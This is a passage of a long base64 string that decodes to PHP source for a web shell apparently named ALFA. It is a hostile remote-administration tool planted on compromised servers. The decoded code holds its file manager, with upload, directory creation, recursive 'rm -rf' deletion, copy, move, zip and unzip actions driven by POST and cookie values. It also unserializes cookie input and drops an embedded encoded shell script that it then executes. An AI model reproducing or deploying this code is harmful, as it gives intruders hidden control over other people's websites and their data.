vb3B0aW9uPjxvcHRpb24gdmFsdWU9InRvbW9ycm93X25pZ2h0X2JyaWdodCI+dG9tb3Jyb3dfbmlnaHRfYnJpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiPnRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idHdpbGlnaHQiPnR3aWxpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idmlicmFudF9pbmsiPnZpYnJhbnRfaW5rPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieGNvZGUiPnhjb2RlPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4+TGFuZ3VhZ2U6IDwvc3Bhbj48c2VsZWN0IGNsYXNzPSJhY2UtY29udHJvbGVyIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJhbGZhQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwnbGFuZ1wnKTsiPjxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icHl0aG9uIj5weXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY19jcHAiPmMvYysrPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NoYXJwIj5jIzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InJ1YnkiPnJ1Ynk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG1sIj5odG1sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iamF2YXNjcmlwdCI+amF2YXNjcmlwdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNzcyI+Y3NzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieG1sIj54bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPnNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN3aWZ0Ij5zd2lmdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNoIj5iYXNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHVhIj5sdWE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3dlcnNoZWxsIj5wb3dlcnNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNwIj5qc3A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhIj5qYXZhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNvbiI+anNvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBsYWluX3RleHQiPnBsYWluX3RleHQ8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5Tb2Z0IFdyYXA6IDwvc3Bhbj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyYXBtb2RlIiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25DbGljaz0iYWxmYUFjZUNoYW5nZVdyYXBNb2RlKHRoaXMsXCcnLiRiYXNlLidcJyk7IiBjaGVja2VkPiB8IDxzcGFuPkZvbnQgU2l6ZTogPC9zcGFuPjxidXR0b24gY2xhc3M9ImFjZS1jb250cm9sZXIiIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImFsZmFBY2VDaGFuZ2VGb250U2l6ZShcJycuJGJhc2UuJ1wnLFwnK1wnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4rPC9idXR0b24+IHwgPGJ1dHRvbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25jbGljaz0iYWxmYUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsIFwnLVwnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4tPC9idXR0b24+IHwgJzsKfQpmdW5jdGlvbiBhbGZhRmlsZXNNYW4yKCl7CglhbGZhaGVhZCgpOwoJQWxmYU51bSg4LDksMTAsNyw2LDUsNCk7CgllY2hvICc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5faG9sZGVyXzEiIGNsYXNzPSJhamF4YXJlYSBmaWxlc21hbi1hY3RpdmUtY29udGVudCI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nOwoJYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihAaXNfZGlyKCRjLiRzKSl7CkBta2RpcigkZC4kcyk7CiRoID0gQG9wZW5kaXIoJGMuJHMpOwp3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzTWFuKCl7CmlmKCFlbXB0eSAoJF9DT09LSUVbJ2FsZmFfZiddKSkKJF9DT09LSUVbJ2FsZmFfZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydhbGZhX2YnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsKc3dpdGNoKCRfUE9TVFsnYWxmYTEnXSl7CmNhc2UgJ3VwbG9hZEZpbGUnOgokbW92ZV9jbWRfZmlsZSA9IGZhbHNlOwokYWxmYV9jYW5ydW5jbWQgPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOwp9CmlmKF9hbGZhX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewokZmlsZXMgPSByZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsKJHJldF9maWxlcyA9IGFycmF5KCk7CmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKaWYoJG1vdmVfY21kX2ZpbGUmJiRhbGZhX2NhbnJ1bmNtZCl7CglhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlWyd0bXBfbmFtZSddKS4iJyA+ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRmaWxlWyduYW1lJ10pLiInIik7Cn1lbHNlewoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7CgkJJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlWyduYW1lJ10pKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsKCQkkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOwoJCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGVbJ25hbWUnXSkpOwoJCSRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKCQkkZmlsZV9zaXplID0gQGZpbGVzaXplKCRmaWxlWyduYW1lJ10pOwoJCSRyZXRfZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZVsnbmFtZSddLCAic2l6ZSIgPT4gYWxmYVNpemUoJGZpbGVfc2l6ZSksICJwZXJtIiA9PiAkZmlsZV9wZXJtLCAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJvd25lciIgPT4gJGZpbGVfb3duZXIuIi8iLiRmaWxlX2dyb3VwKTsKCX0KfQp9CmlmKCEkbW92ZV9jbWRfZmlsZSl7CgllY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewoJZWNobyAibm9wZXJtIjsKCXJldHVybjsKfQppZighJG1vdmVfY21kX2ZpbGUpewpyZXR1cm47Cn0KYnJlYWs7CmNhc2UgJ21rZGlyJzoKJG5ld19kaXJfY21kID0gZmFsc2U7CmlmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CgkJCWlmKCFfYWxmYV9pc19kaXIodHJpbSgkX1BPU1RbJ2FsZmEyJ10pKSl7CgkJCQlhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pKS4iJyIpOwoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCQl9Cgl9ZWxzZXsKCQllY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfWVsc2V7CglpZihfYWxmYV9pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKXsKCQlpZighX2FsZmFfaXNfZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewoJCQlpZighQG1rZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignQ2FuXCd0IGNyZWF0ZSBuZXcgZGlyICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX1lbHNlewoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJfQoJfWVsc2V7CgkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsKJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKJGRoID0gQG9wZW5kaXIoJHBhdGgpOwp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSkKY29udGludWU7CiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsKaWYgKCR0eXBlID09ICJkaXIiKQpkZWxldGVEaXIoJGl0ZW0pOwplbHNlCkB1bmxpbmsoJGl0ZW0pOwp9CkBjbG9zZWRpcigkZGgpOwpAcm1kaXIoJHBhdGgpOwp9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpewppZigkZiA9PSAnLi4nKQpjb250aW51ZTsKJGYgPSByYXd1cmxkZWNvZGUoJGYpOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCWFsZmFFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOwoJfQp9ZWxzZXsKYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIiciLGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkpOwphbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSk7CglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCQlhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7CgkJfQoJfQp9CmlmKGlzX2FycmF5KCRfUE9TVFsnZiddKSkKcmV0dXJuOwpicmVhazsKY2FzZSAncGFzdGUnOgppZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydhbGZhX2YnXSkpewpmb3JlYWNoKCRfQ09PS0lFWydhbGZhX2YnXSBhcyAkZikKY29weV9wYXN0ZSgkX0NPT0tJRVsnYWxmYV9jJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7Cn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnYWxmYV9mJ10pKXsKZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CmlmKEBpc19kaXIoJGMuJHMpKXsKQG1rZGlyKCRkLiRzKTsKJGggPSBAb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKQpAcmVuYW1lKCRfQ09PS0lFWydhbGZhX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKfWVsc2VpZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiR6aXBYID0gImFsZmFfIi5yYW5kKDEsMTAwMCkuIi56aXAiOwppZigkemlwLT5vcGVuKCR6aXBYLCAxKSl7CkBjaGRpcigkX0NPT0tJRVsnYWxmYV9jJ10pOwpmb3JlYWNoKCRfQ09PS0lFWydhbGZhX2YnXSBhcyAkZil7CmlmKCRmID09ICcuLicpY29udGludWU7CmlmKEBpc19maWxlKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpCiR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2FsZmFfYyddLiRmLCAkZik7CmVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpewokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CmZvcmVhY2goJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSl7CiRrZXkgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7CmlmKEBpc19kaXIoJGtleSkpewppZihpbl9hcnJheShzdWJzdHIoJGtleSwgc3RycnBvcygka2V5LCcvJykrMSksYXJyYXkoJy4nLCAnLi4nKSkpY29udGludWU7Cn1lbHNleyR6aXAtPmFkZEZpbGUoJGtleSwka2V5KTt9fX19CkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwokemlwLT5jbG9zZSgpOwpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319Cn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKSB7CmlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2FsZmFfYyddLiRmKSl7CiR6aXAtPmV4dHJhY3RUbygkX0NPT0tJRVsnYWxmYV9jd2QnXSk7CiR6aXAtPmNsb3NlKCk7fX19fQp1bnNldCgkX0NPT0tJRVsnYWxmYV9mJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZihpbl9hcnJheSgkX1BPU1RbJ2FsZmExJ10sIGFycmF5KCJjb3B5IiwgIm1vdmUiLCAiemlwIiwgInVuemlwIikpKXsKX19hbGZhX3NldF9jb29raWUoJ2FsZmFfYWN0JywgQCRfUE9TVFsnYWxmYTEnXSk7Cl9fYWxmYV9zZXRfY29va2llKCdhbGZhX2YnLCBAc2VyaWFsaXplKCRfUE9TVFsnZiddKSk7Cl9fYWxmYV9zZXRfY29va2llKCdhbGZhX2MnLCBAJF9QT1NUWydjJ10pOwpyZXR1cm47Cn0KfQpicmVhazsKfQp9CiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CmlmKHByZWdfbWF0Y2goIiMoLiopXC9cLlwuIyIsICRfUE9TVFsnYyddLCAkcmVzKSl7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsKCWFycmF5X3BvcCgkcGF0aCk7CgkkX1BPU1RbJ2MnXSA9IGltcGxvZGUoJy8nLCAkcGF0aCk7Cn0KJGNtZF9kaXIgPSBmYWxzZTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKXsKCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR0bXBfZ2V0ZGlyX3BhdGggPSBAJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoX3BhdGgiXTsKCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXhpc3RzKCR0bXBfZ2V0ZGlyX3BhdGguIi9hbGZhY2dpYXBpL2dldGRpci5hbGZhIikpewoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NNNWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3cvRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNUp2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsKCQkJJHRtcF9nZXRkaXJfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJnZXRkaXIuYWxmYSIsJGJhc2gpOwoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2giLCAidHJ1ZSIpOwoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOwoJCX0KCQkkZGlyQ29udGVudCA9IGFsZmFFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvYWxmYWNnaWFwaTtzaCBnZXRkaXIuYWxmYSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7CgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsKCQkJYXJyYXlfcG9wKCRkaXJDb250ZW50KTsKCQkJJGNtZF9kaXIgPSB0cnVlOwoJCX1lbHNlewoJCQkkZGlyQ29udGVudCA9IGZhbHNlOwoJCX0KCX0KfQphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZigkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CglAJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdID0gMTAwOwp9CiRhbGZhX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiYWxmYV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImFsZmFfc29ydF9ieSJdIDogJ25hbWUnOwokYWxmYV9saW1pdGVkX2ZpbGVzID0gaXNzZXQoJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdKSA/IChpbnQpJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdIDogMDsKJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPSBpc3NldCgkX1BPU1RbInBhZ2VudW0iXSkgPyAoaW50KSRfUE9TVFsicGFnZW51bSJdIDogMTsKJGFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsKJGZpbGVzX3BhZ2VfY291bnQgPSAxOwppZigkYWxmYV9saW1pdGVkX2ZpbGVzID4gMCl7CgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGFsZmFfbGltaXRlZF9maWxlcyk7CglpZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewoJCSRmaWxlc19wYWdlX2NvdW50Kys7Cgl9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxlPSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnYWxmYV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJuYW1lIiAnLigkYWxmYV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkYWxmYV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRhbGZhX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJhc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yOiMyNWZmMDA7I